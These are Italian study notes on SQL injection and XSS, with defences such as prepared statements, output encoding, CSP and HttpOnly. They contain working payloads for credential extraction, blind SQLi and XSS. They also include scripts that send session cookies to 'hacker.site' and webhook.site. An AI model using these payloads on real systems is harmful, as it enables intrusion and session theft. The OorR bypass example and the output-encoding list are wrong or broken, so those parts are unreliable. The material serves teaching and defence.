

SQL Injection e Cross-Site Scripting (XSS)

NECKER

21 Dicembre 2025

Indice

1	Architettura Web e Interazione con i Database	2
2	SQL Injection	2
2.1	Basate su UNION o Errori	2
2.1.1	Union-based SQLi	2
2.1.2	Error-based SQLi	2
2.2	SQL Injection Basate su Tipo di Dato	3
2.2.1	Integer SQL Injection	3
2.2.2	String SQL Injection	4
2.2.3	Float SQL Injection	4
2.3	Meccanismi di Bypass e Blind SQLi	5
2.3.1	Filtering dell'Input (SQL)	5
2.3.2	Bypass del filtraggio: La tecnica OorR	5
2.3.3	Boolean-Based Blind: Ricerca Binaria	6
2.3.4	Time-Based Blind	6
2.3.5	Difesa Avanzata e Strumenti	6
3	Cross-Site Scripting (XSS) - Analisi Approfondita	6
3.1	Vettori di Attacco e Meccanismo di Iniezione	6
3.2	Evasione dei Filtri e Payload Avanzati	8
3.2.1	Tecniche di Bypass	8
3.3	Difesa Principale: Output Encoding	8
3.4	Scenario di Attacco: Session Hijacking e Webhook	8
3.5	Difese in Profondità: CSP, HttpOnly e WAF	9

1 Architettura Web e Interazione con i Database

Le applicazioni web moderne funzionano come intermediari tra l'utente e i dati. Il **Client** (browser) invia richieste al **Backend** (Server), il quale interroga un **Database** relazionale tramite il linguaggio SQL. Il principio fondamentale della sicurezza è che il client non deve mai interagire direttamente con il database; ogni comunicazione deve essere mediata e validata dal server.

2 SQL Injection

La SQL Injection avviene quando i dati forniti dall'utente vengono concatenati in una query SQL senza una corretta sanificazione o parametrizzazione.

2.1 Basate su UNION o Errori

Le tecniche di attacco In-band sono caratterizzate dall'utilizzo dello stesso canale di comunicazione sia per l'invio del payload malevolo che per la ricezione dei dati esfiltrati. In questo scenario, l'attaccante sfrutta la risposta diretta del server per ottenere informazioni sulla struttura e sul contenuto del database.

2.1.1 Union-based SQLi

La tecnica basata sull'operatore **UNION** permette di combinare i risultati della query originale con i risultati di una seconda query inserita dall'attaccante.

- **Meccanismo:** L'attaccante inietta un comando **UNION SELECT** per concatenare righe provenienti da tabelle arbitrarie (come tabelle di sistema o degli utenti) ai risultati legittimi.
- **Requisito di Consistenza:** Per il corretto funzionamento, la query iniettata deve possedere lo stesso numero di colonne della query originale. Se la query nel backend seleziona `productid, name, price`, l'attaccante deve fornire esattamente tre campi nel comando **UNION**.
- **Esempio di Payload:** Un input come `' UNION SELECT username, password, '1' FROM users --` permette di visualizzare le credenziali di accesso direttamente all'interno della lista prodotti visualizzata sulla pagina.

2.1.2 Error-based SQLi

Questa tecnica si basa sulla capacità dell'attaccante di forzare il database a generare messaggi di errore che contengono informazioni sensibili.

- **Gestione degli Errori nel Backend:** La vulnerabilità è spesso causata da una gestione impropria delle eccezioni. Nel codice analizzato, il blocco `catch` cattura la `PDOException` e ne stampa il contenuto tramite `echo $e->getMessage()`.
- **Sfruttamento:** L'attaccante può iniettare intenzionalmente query sintatticamente errate o conversioni di tipo impossibili (es. tentare di convertire una stringa contenente il nome della versione del database in un intero).

- **Output Informativo:** Il database, nel tentativo di spiegare l'errore, restituirà una stringa del tipo *"Invalid input syntax for integer: 'PostgreSQL 14.2'"*, rivelando così informazioni preziose direttamente all'attaccante sulla pagina web.

Esempio Pratico: Immaginiamo che l'applicazione utilizzi un database PostgreSQL e accetti un input di ricerca.

Payload Inviato:

```
' AND 1=CAST((SELECT current_user) AS INT) --
```

Query Eseguita dal Backend: Il codice PHP concatena l'input, generando un'istruzione che forza una conversione di tipo illegale:

```
SELECT * FROM products WHERE name = '' AND 1=CAST
((SELECT current_user) AS INT) --'
```

Analisi del Flusso:

- Il database esegue la sotto-query `SELECT current_user`, ottenendo il risultato (es. la stringa `'postgres'`).
- Il comando `CAST(... AS INT)` tenta di convertire la stringa `'postgres'` in un numero intero.
- L'operazione è impossibile: il database genera un'eccezione critica (Error).
- Poiché il backend utilizza `echo $e->getMessage()`, l'errore viene stampato sulla pagina:

ERROR: invalid input syntax for type integer: "postgres"

In questo modo, l'attaccante ha estrapolato il nome dell'utente del database (`postgres`) semplicemente leggendo il messaggio di errore restituito dall'applicazione.

L'utilizzo di **Fortinet** come Web Application Firewall (WAF) può mitigare questi attacchi bloccando i pattern di iniezione noti o impedendo la visualizzazione dei messaggi di errore del database verso l'utente finale.

2.2 SQL Injection Basate su Tipo di Dato

2.2.1 Integer SQL Injection

In questo scenario, il database si aspetta un valore numerico non racchiuso tra apici. Poiché non c'è una stringa da "rompere", l'attaccante può aggiungere operatori logici direttamente dopo il valore atteso.

Esempio di Codice Vulnerabile (PHP):

```
$id = $_GET['id'];
$query = "SELECT name, price FROM products WHERE
category_id = " . $id;
```

Attacco: Se l'utente inserisce `1 OR 1=1`, la query finale diventa:

```
SELECT name, price FROM products WHERE category_id = 1 OR 1=1;
```

Risultato: La clausola `OR 1=1` è sempre vera. Il database restituirà tutti i prodotti di tutte le categorie, superando le restrizioni di visualizzazione previste dallo sviluppatore.

2.2.2 String SQL Injection

Questa è la forma più comune, dove l'input viene inserito tra apici singoli (') o doppi ("). Per iniettare comandi, è necessario prima chiudere il delimitatore originale.

Esempio di Codice Vulnerabile (PHP):

```
$user = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '" . $user
        . "'";
```

Attacco: Inserendo `admin' --`, la query diventa:

```
SELECT * FROM users WHERE username = 'admin' --';
```

Risultato: L'apice dopo `admin` chiude la stringa. I due trattini (`--`) indicano un commento in SQL, rendendo ininfluente tutto ciò che segue (come eventuali controlli sulla password). Ciò permette l'accesso come amministratore senza conoscere le credenziali (naturalmente se la colonna si chiama *admin*).

2.2.3 Float SQL Injection

Questa variante colpisce i parametri che il backend tratta come numeri in virgola mobile (decimali). Viene spesso utilizzata per bypassare filtri che convalidano parzialmente l'input, permettendo caratteri come il punto (.) ma non bloccando la successiva iniezione di comandi (spesso per gli interi bloccano tutto ciò che non sia un numero, qui devono essere più concessivi).

Esempio di Codice Vulnerabile (PHP): In questo frammento, il programmatore usa il punto (.) come operatore di concatenazione per unire la stringa SQL fissa con la variabile `$price` proveniente dall'utente:

```
$price = $_GET['max_price'];
// La query viene costruita dinamicamente concatenando
// l'input
$query = "SELECT name, price FROM products WHERE price <
        " . $price;
```

Scenario di Attacco: L'attaccante nota che il sistema accetta numeri decimali e prova a inserire un payload che sfrutta la clausola `UNION` per estrarre dati da una tabella diversa.

Input malevolo: `99.9 UNION SELECT login, password FROM users --`

Query Risultante nel Database: Dopo la concatenazione operata dal backend, la query diventa un'istruzione composta che altera la logica originale programmata nel sito:

```
SELECT name, price FROM products WHERE price < 99.9 UNION
        SELECT login, password FROM users --;
```

Analisi del risultato:

- **Parte 1:** `SELECT name, price FROM products WHERE price < 99.9` estrae i prodotti economici.
- **Parte 2 (Injection):** `UNION SELECT login, password FROM users` "incolla" i risultati della tabella utenti a quelli dei prodotti[cite: 119, 127].
- **Parte 3 (Commento):** I due trattini (`--`) servono a ignorare eventuali residui della query originale che potrebbero causare errori di sintassi.

L'attaccante riesce così a visualizzare dati sensibili (come gli hash delle password) direttamente nell'elenco dei prodotti della pagina web.

2.3 Meccanismi di Bypass e Blind SQLi

Concetti Preliminari: Il Filtering

Il **filtering** è il meccanismo fondamentale per la messa in sicurezza delle applicazioni web. Consiste nel neutralizzare i dati forniti dall'utente affinché non possano essere interpretati come istruzioni dal sistema.

2.3.1 Filtering dell'Input (SQL)

In ambito SQL, il filtraggio tenta di "ripulire" i dati prima che vengano concatenati nella query. In PHP, l'operatore di concatenazione `.` è spesso il punto di ingresso per le vulnerabilità.

Principalmente si cerca di rimuovere tutti i simboli che possono creare delle query non desiderate, spesso infatti si rimpiazzano:

- parole chiave come AND, OR con virgolette ""

2.3.2 Bypass del filtraggio: La tecnica OorR

Questa tecnica sfrutta l'implementazione errata di filtri basati sulla sostituzione di stringhe (Blacklisting). Se un firewall o un'applicazione esegue una rimozione non ricorsiva di parole chiave come OR, AND o SELECT, è possibile annidarle.

Scenario: Il filtro esegue `str_replace("OR", "", input)`. **Input malevolo:** `0orR`

1. Il filtro trova la sottostringa "or" (case-insensitive) all'interno di `0orR`.
2. La rimuove, lasciando `0` e `R`.
3. La stringa risultante che arriva al database è `OR`.

Questo permette di far passare l'operatore logico nonostante il filtro.

2.3.3 Boolean-Based Blind: Ricerca Binaria

Quando l'applicazione non mostra l'output della query ma solo se l'operazione è riuscita (es. una pagina che carica o restituisce un errore generico), si usa la logica booleana.

Esempio per indovinare la prima lettera di una tabella:

1. `1 AND (SELECT ASCII(SUBSTRING(table_name,1,1)) FROM information_schema.tables) > 100` → Se la pagina carica correttamente, la lettera ha valore ASCII $\geq$ 100.
2. **Ricerca Binaria:** Invece di provare ogni valore (1, 2, 3...), l'attaccante dimezza il range (es. > 112 , poi < 106). Questo permette di identificare un carattere in massimo 7-8 tentativi anziché 255, accelerando drasticamente il recupero di **hash delle password** o nomi di tabelle.

2.3.4 Time-Based Blind

Se la pagina è identica sia in caso di successo che di fallimento, l'unica variabile è il tempo di risposta del server. **Payload:** `1 AND IF(SUBSTRING(user(),1,1)='a', SLEEP(5), 1)` **Analisi:** Se il primo carattere del nome utente è 'a', il database attenderà 5 secondi prima di rispondere. L'attaccante misura il tempo di caricamento della pagina per confermare l'ipotesi.

2.3.5 Difesa Avanzata e Strumenti

L'unico metodo definitivo per prevenire queste vulnerabilità è l'uso di **Prepared Statements** (Query Parametrizzate). Queste separano completamente la logica del codice dai dati forniti dall'utente, rendendo impossibile l'interpretazione dell'input come comando SQL.

Strumenti come **Sqlmap** automatizzano tutte le tecniche sopra descritte, inclusa la ricerca binaria e i test basati sul tempo, rendendo gli attacchi manuali obsoleti per la fase di esfiltrazione massiva dei dati. Al perimetro, sistemi come **Fortinet** analizzano il traffico per bloccare pattern di iniezione prima che raggiungano il backend.

3 Cross-Site Scripting (XSS) - Analisi Approfondita

Il Cross-Site Scripting (XSS) rappresenta una classe di vulnerabilità che consente a un attaccante di iniettare codice arbitrario (solitamente JavaScript) all'interno del contesto di esecuzione di un sito web fidato. La pericolosità risiede nel fatto che il browser della vittima non ha modo di distinguere lo script malevolo da quello legittimo, eseguendolo con gli stessi privilegi dell'applicazione ospite.

3.1 Vettori di Attacco e Meccanismo di Iniezione

L'iniezione avviene quando i dati forniti dall'utente vengono incorporati nella risposta HTML (Backend XSS) o nel DOM della pagina (Frontend XSS) senza adeguata sanificazione.

- **Reflected XSS:** Il payload viene inviato al server (solitamente tramite parametri URL GET o POST) e il server lo "riflette" immediatamente nella risposta HTML, senza memorizzarlo. L'attacco richiede ingegneria sociale, poiché la vittima deve cliccare su un link malevolo preparato dall'attaccante.

Esempio: Un motore di ricerca interno che stampa il termine cercato:

```
// URL: http://site.com/search.php?q=<script>alert(1)
</script>
$query = $_GET['q'];
echo "Risultati per: " . $query;
// Il browser esegue lo script immediatamente
```

invece di stampare alert, esegue il codice dentro i tag (codice malevolo).

- **Stored XSS (o Persistent XSS):** Il payload viene iniettato e memorizzato permanentemente nel database del server (ad esempio in un commento, un post di un forum o nei dettagli di un account). La pericolosità è elevata perché il codice viene eseguito automaticamente da *qualsiasi* utente che visualizza la pagina infetta, senza bisogno che clicchino su link strani.

Esempio: Un guestbook dove i commenti non sono filtrati:

```
-- L'attaccante inserisce questo commento nel DB:
Ciao! <script>fetch('http://hacker.site?cookie='+
document.cookie)</script>
```

Quando un amministratore visualizza i commenti per moderarli, il suo cookie di sessione viene inviato all'attaccante. (a diff della reflection, qui il codice viene eseguito lato client e non viene iniettato dal server (nell'altro il server scrive il codice malevolo inviando la pagina infettata), è il browser che interpreta le istruzioni del server e scrive il codice malevolo)

- **DOM-based XSS:** La vulnerabilità risiede interamente nel codice JavaScript lato client, spesso senza coinvolgere il backend. L'attacco avviene quando lo script prende un input non controllato (detto *source*, come l'URL o 'window.location') e lo passa a una funzione pericolosa (detta *sink*) in grado di eseguire codice o renderizzare HTML.

Esempio: Una pagina di benvenuto che legge il nome utente dall'URL e lo inserisce nel DOM usando 'innerHTML':

```
// URL: http://site.com/welcome.html?user=<img src=x
onerror=alert(1)>
const params = new URLSearchParams(window.location.
search);
const user = params.get("user"); // Source
// Sink vulnerabile: innerHTML esegue il tag img
malevolo
document.querySelector("#welcome").innerHTML = '
Welcome, ${user}!';
```

In questo caso, l'utilizzo di innerHTML permette l'esecuzione dell'evento onerror contenuto nel payload.

3.2 Evasione dei Filtri e Payload Avanzati

I filtri di sicurezza basati su blacklist (liste di parole vietate) sono intrinsecamente deboli. Se un filtro cerca di rimuovere i tag pericolosi, gli attaccanti utilizzano tecniche di offuscamento e contesti alternativi.

3.2.1 Tecniche di Bypass

- **Tag Alternativi:** Se il tag `<script>` viene filtrato o rimosso, l'attaccante può utilizzare tag che supportano gestori di eventi (event handlers).

```
  
  
<input onfocus="alert(1)" autofocus>  
<svg onload="alert(1)">
```

- **Protocolli JavaScript:** Nei link o negli attributi `src` di un `iframe`, è possibile utilizzare lo pseudo-protocollo `javascript:`.

```
<a href="javascript:alert(1)">Click me</a>  
<iframe src="javascript:alert(1)"></iframe>
```

- **Offuscamento:** Se il filtro blocca parole chiave come "alert", è possibile usare funzioni come `eval()` con codifica Hex o Unicode, oppure sfruttare la natura dinamica di JS (es. `top['al'+ 'ert'](1)`).

3.3 Difesa Principale: Output Encoding

A differenza della SQL Injection dove si sanifica l'input, per l'XSS la difesa deve avvenire nel momento in cui i dati vengono stampati a video (Output). L'**Output Encoding** converte i caratteri con significato semantico in HTML in entità sicure:

- `<` diventa `<`;
- `>` diventa `>`;
- `"` diventa `"`;
- `'` diventa `'`;

In PHP, la funzione standard per questa operazione è `htmlspecialchars($input, ENT_QUOTES, 'UTF-8')`.

3.4 Scenario di Attacco: Session Hijacking e Webhook

Una delle conseguenze più critiche dell'XSS è il furto di sessione, che bypassa la **Same Origin Policy (SOP)**. La SOP impedisce normalmente a *evil.com* di leggere i dati di *bank.com*, ma poiché l'XSS esegue il codice nel contesto di *bank.com*, lo script ha pieno accesso.

Workflow dell'attacco:

1. **Iniezione:** L'attaccante inietta un payload che legge `document.cookie` (dove spesso risiede il Session ID).

2. **Esfiltrazione:** Lo script deve inviare questi dati all'attaccante. Poiché non può connettersi direttamente al database dell'hacker, effettua una richiesta HTTP verso un server controllato.

```
// Crea un'immagine invisibile che punta al server  
dell'attaccante  
new Image().src = 'https://webhook.site/my-uuid?  
cookie=' + document.cookie;
```

3. **Raccolta (Webhook.site):** Nei laboratori e nei test reali, si utilizzano servizi come *Webhook.site*. Questo strumento genera un URL univoco e funge da "collettore", registrando e visualizzando in tempo reale ogni richiesta HTTP ricevuta, inclusi i parametri GET contenenti i cookie rubati.

3.5 Difese in Profondità: CSP, HttpOnly e WAF

Poiché l'encoding può fallire (errore umano), si implementano difese a livelli successivi.

- **Cookie HttpOnly:** È un flag che si imposta sui cookie di sessione lato server. Istruisce il browser a impedire l'accesso a quel cookie tramite JavaScript (`document.cookie` non lo mostrerà), neutralizzando il furto di sessione via XSS, pur non risolvendo la vulnerabilità XSS stessa.
- **Content Security Policy (CSP):** È un header HTTP (`Content-Security-Policy`) che funge da whitelist per le risorse eseguibili.
 - Permette di disabilitare l'esecuzione di script inline (bloccando `<script>alert(1)</script>`)
 - Permette di specificare quali domini possono caricare file JS esterni (es. `script-src 'self' https://apis.google.com`).
- **Web Application Firewall (Fortinet):** Soluzioni hardware o software (come FortiWeb) posizionate al perimetro della rete. Analizzano il traffico HTTP al livello 7 (Application Layer). Utilizzano firme aggiornate e analisi comportamentale per identificare e bloccare richieste contenenti pattern di attacco XSS noti (come tag script o gestori eventi sospetti) prima ancora che raggiungano il server web.